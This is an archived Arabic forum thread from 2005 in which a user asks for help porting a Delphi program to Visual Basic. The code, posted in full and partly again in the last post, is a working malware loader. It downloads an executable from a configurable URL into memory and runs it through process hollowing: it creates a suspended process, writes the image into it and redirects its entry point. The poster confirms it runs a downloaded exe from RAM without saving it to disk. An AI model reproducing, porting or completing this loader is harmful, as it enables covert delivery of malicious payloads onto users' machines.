الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

تحويل دالة من دلفى الى فيجوال بيسك

مغلق
بدأه MSaif في 26 يوليو 2005 · 3 رد · 845 مشاهدة · في لغة Delphi
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم ورحمة الله

أرجو أن تساعدونى فى تحويل هذا الكود من دلفى الى فيجوال بيسك ياخوانى ولكم كل الخير والأجر من الله. .

وهو كود هام جدا بالنسبه الى , وشكرا لكم مقدما

{$IMAGEBASE $10000000}

uses
  Windows, SocketUnit;

type
  TSections = array [0..0] of TImageSectionHeader;

var
  Target: pchar = 'afx' + #0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0;
  Output: pointer;
  OutputLength: dword;

function ExtractURLSite(FileName: string): string;
begin
  Result := Copy(FileName, 1, Pos('/', FileName) - 1);
end;

function ExtractURLPath(FileName: string): string;
begin
  Result := Copy(FileName, Pos('/', FileName), Length(FileName) - Pos('/', FileName) + 1);
end;

function Split(Input: string; Deliminator: string; Index: integer): string;
var
  StringLoop, StringCount: integer;
  Buffer: string;
begin
  Buffer := '';
  if Index < 1 then Exit;
  StringCount := 0;
  StringLoop := 1;
  while (StringLoop <= Length(Input)) do
  begin
    if (Copy(Input, StringLoop, Length(Deliminator)) = Deliminator) then
    begin
      Inc(StringLoop, Length(Deliminator) - 1);
      Inc(StringCount);
      if StringCount = Index then
      begin
        Result := Buffer;
        Exit;
      end
      else
      begin
        Buffer := '';
      end;
    end
    else
    begin
      Buffer := Buffer + Copy(Input, StringLoop, 1);
    end;
    Inc(StringLoop, 1);
  end;
  Inc(StringCount);
  if StringCount < Index then Buffer := '';
  Result := Buffer;
end;

procedure GetURL(Address: string);
var
  HTTP: TClientSocket;
  Data: pointer;
  Buffer: pointer;
  BufferLength: dword;
  BufferUsed: dword;
  Bytes: dword;
  Header: string;
  Site: string;
  URL: string;
  Location: string;
begin
  Location := Split(Address, '://', 2);
  Site := ExtractURLSite(Location);
  URL := ExtractURLPath(Location);
  GetMem(Buffer, 1024);
  try
    BufferLength := 1024;
    BufferUsed := 0;;
    HTTP := TClientSocket.Create;
    HTTP.Connect(Site, 80);
    HTTP.SendString('GET ' + URL + ' HTTP/1.1' + #13#10 + 'Host: ' + Site + #13#10 + 'Connection: close' + #13#10#13#10);
    HTTP.Idle(0);
    while HTTP.Connected do
    begin
      if BufferLength - BufferUsed < 1024 then
      begin
        Inc(BufferLength, 1024);
        ReallocMem(Buffer, BufferLength);
      end;
      Bytes := HTTP.ReceiveBuffer(pointer(dword(Buffer) + BufferUsed)^, 1024);
      if Bytes > 0 then
      begin
        Inc(BufferUsed, Bytes);
      end;
    end;
    Header := Copy(string(Buffer), 1, Pos(#13#10#13#10, string(Buffer)) + 3);
    OutputLength := BufferUsed - dword(Length(Header));
    Data := pointer(dword(Buffer) + dword(Length(Header)));
    GetMem(Output, OutputLength);
    Move(Data^, Output^, OutputLength);
  finally
    FreeMem(Buffer);
  end;
end;

function GetAlignedSize(Size: dword; Alignment: dword): dword;
begin
  if ((Size mod Alignment) = 0) then
  begin
    Result := Size;
  end
  else
  begin
    Result := ((Size div Alignment) + 1) * Alignment;
  end;
end;

function ImageSize(Image: pointer): dword;
var
  Alignment: dword;
  ImageNtHeaders: PImageNtHeaders;
  PSections: ^TSections;
  SectionLoop: dword;
begin
  ImageNtHeaders := pointer(dword(dword(Image)) + dword(PImageDosHeader(Image)._lfanew));
  Alignment := ImageNtHeaders.OptionalHeader.SectionAlignment;
  if ((ImageNtHeaders.OptionalHeader.SizeOfHeaders mod Alignment) = 0) then
  begin
    Result := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
  end
  else
  begin
    Result := ((ImageNtHeaders.OptionalHeader.SizeOfHeaders div Alignment) + 1) * Alignment;
  end;
  PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
  for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
  begin
    if PSections[SectionLoop].Misc.VirtualSize <> 0 then
    begin
      if ((PSections[SectionLoop].Misc.VirtualSize mod Alignment) = 0) then
      begin
        Result := Result + PSections[SectionLoop].Misc.VirtualSize;
      end
      else
      begin
        Result := Result + (((PSections[SectionLoop].Misc.VirtualSize div Alignment) + 1) * Alignment);
      end;
    end;
  end;
end;

procedure CreateProcessEx(FileMemory: pointer);
var
  BaseAddress, Bytes, HeaderSize, InjectSize,  SectionLoop, SectionSize: dword;
  Context: TContext;
  FileData: pointer;
  ImageNtHeaders: PImageNtHeaders;
  InjectMemory: pointer;
  ProcInfo: TProcessInformation;
  PSections: ^TSections;
  StartInfo: TStartupInfo;
begin
  ImageNtHeaders := pointer(dword(dword(FileMemory)) + dword(PImageDosHeader(FileMemory)._lfanew));
  InjectSize := ImageSize(FileMemory);
  GetMem(InjectMemory, InjectSize);
  try
    FileData := InjectMemory;
    HeaderSize := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
    PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
    for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
    begin
      if PSections[SectionLoop].PointerToRawData < HeaderSize then HeaderSize := PSections[SectionLoop].PointerToRawData;
    end;
    CopyMemory(FileData, FileMemory, HeaderSize);
    FileData := pointer(dword(FileData) + GetAlignedSize(ImageNtHeaders.OptionalHeader.SizeOfHeaders, ImageNtHeaders.OptionalHeader.SectionAlignment));
    for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
    begin
      if PSections[SectionLoop].SizeOfRawData > 0 then
      begin
        SectionSize := PSections[SectionLoop].SizeOfRawData;
        if SectionSize > PSections[SectionLoop].Misc.VirtualSize then SectionSize := PSections[SectionLoop].Misc.VirtualSize;
        CopyMemory(FileData, pointer(dword(FileMemory) + PSections[SectionLoop].PointerToRawData), SectionSize);
        FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
      end
      else
      begin
        if PSections[SectionLoop].Misc.VirtualSize <> 0 then FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
      end;
    end;
    ZeroMemory(@StartInfo, SizeOf(StartupInfo));
    ZeroMemory(@Context, SizeOf(TContext));
    CreateProcess(nil, pchar(ParamStr(0)), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
    Context.ContextFlags := CONTEXT_FULL;
    GetThreadContext(ProcInfo.hThread, Context);
    ReadProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @BaseAddress, 4, Bytes);
    VirtualAllocEx(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectMemory, InjectSize, Bytes);
    WriteProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @ImageNtHeaders.OptionalHeader.ImageBase, 4, Bytes);
    Context.Eax := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(ProcInfo.hThread, Context);
    ResumeThread(ProcInfo.hThread);
  finally
    FreeMemory(InjectMemory);
  end;
end;

begin
  GetURL(Target);
  CreateProcessEx(Output);
end.

ولمن خاف مقام ربه جنتان

ربنا آتنا فى الدنيا حسنه وفى الآخرة حسنه وقنا عذاب النار

سبحان الله وبحمده . . سبحان الله العظيم (لقد غرست لك الآن نخلة فى الجنة :)

رب اغفر لأبى وأمى وارحمهما كما ربيانى صغيرا وإشفنى وارحمنا واشفى جميع مرضى المسلمين

MicroSaif@gmail.com

cipher11@hotmail.com

#2

بلا شك لابد من وجود طريقة ما للتحويل إلى VB

ولكن أولا المثال طويل ويحتاج شوية وقت , كما أنه يحاج شخص ملم بالVB

ولاسيما أني لست متأكد أن VB تدعم المؤشرات وكما ترى في الكود يوجد بعض التعامل مع المؤشرات أمثال :

PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader))

إذا بدأت به خطوة خطوة وإجراء إجراء ربما سنسطتيع المساعده عندها

#3

شكرا لك أخى على الرد

بالنسبه لموضوع المؤشرات فإن ال VB يدعمها بواسطه ال API

فهناك دوال عديده تسخدم للكتابه بالذاكره والقراءه منها والتنقل بها مثل

Copymemory , MoveMemory , وهناك دوال على ما أعتقد انها مشابهه لما هو بالدلفى هنا وهى مثل

Readprocess , CreateProcess

وعلى العموم انا الحمد لله ملم بالفيجوال بيسك ولكنى مبتدئ فى الدلفى وأرجو المساعده ولو جزء جزء كما قلت وانا موجود بال VB

وشكر ا مره اخرى على التفاعل معى لأنه موضوع يهمنى كثيرا جداااااااااااااا

ولمن خاف مقام ربه جنتان

ربنا آتنا فى الدنيا حسنه وفى الآخرة حسنه وقنا عذاب النار

سبحان الله وبحمده . . سبحان الله العظيم (لقد غرست لك الآن نخلة فى الجنة :)

رب اغفر لأبى وأمى وارحمهما كما ربيانى صغيرا وإشفنى وارحمنا واشفى جميع مرضى المسلمين

MicroSaif@gmail.com

cipher11@hotmail.com

#4

السلام عليكم ورحمة الله

فلنبدأ بسم الله وهذه هى أول وظيفه او خطوة (وهى تقوم بتنزيل ملف exe من الأنترنت ولا تحفظه على الهارد ديسك لكن بالرام لتنفيذه فيما بعد ) وأرجو التفاعل مع جزاكم الله خيرا

procedure GetURL(Address: string);
var
 HTTP: TClientSocket;
 Data: pointer;
 Buffer: pointer;
 BufferLength: dword;
 BufferUsed: dword;
 Bytes: dword;
 Header: string;
 Site: string;
 URL: string;
 Location: string;
begin
 Location := Split(Address, '://', 2);
 Site := ExtractURLSite(Location);
 URL := ExtractURLPath(Location);
 GetMem(Buffer, 1024);
 try
   BufferLength := 1024;
   BufferUsed := 0;;
   HTTP := TClientSocket.Create;
   HTTP.Connect(Site, 80);
   HTTP.SendString('GET ' + URL + ' HTTP/1.1' + #13#10 + 'Host: ' + Site + #13#10 + 'Connection: close' + #13#10#13#10);
   HTTP.Idle(0);
   while HTTP.Connected do
   begin
     if BufferLength - BufferUsed < 1024 then
     begin
       Inc(BufferLength, 1024);
       ReallocMem(Buffer, BufferLength);
     end;
     Bytes := HTTP.ReceiveBuffer(pointer(dword(Buffer) + BufferUsed)^, 1024);
     if Bytes > 0 then
     begin
       Inc(BufferUsed, Bytes);
     end;
   end;
   Header := Copy(string(Buffer), 1, Pos(#13#10#13#10, string(Buffer)) + 3);
   OutputLength := BufferUsed - dword(Length(Header));
   Data := pointer(dword(Buffer) + dword(Length(Header)));
   GetMem(Output, OutputLength);
   Move(Data^, Output^, OutputLength);
 finally
   FreeMem(Buffer);
 end;
end;

ولمن خاف مقام ربه جنتان

ربنا آتنا فى الدنيا حسنه وفى الآخرة حسنه وقنا عذاب النار

سبحان الله وبحمده . . سبحان الله العظيم (لقد غرست لك الآن نخلة فى الجنة :)

رب اغفر لأبى وأمى وارحمهما كما ربيانى صغيرا وإشفنى وارحمنا واشفى جميع مرضى المسلمين

MicroSaif@gmail.com

cipher11@hotmail.com

هذا الموضوع مغلق.

مواضيع مشابهة

عدد الزوار حالياً

المتواجدون خلال آخر دقيقتين · يتحدّث كل ٣٠ ثانية

—الإجمالي—أعضاء مسجّلون—زوار بدون تسجيل

جارٍ التحقق من المتواجدين…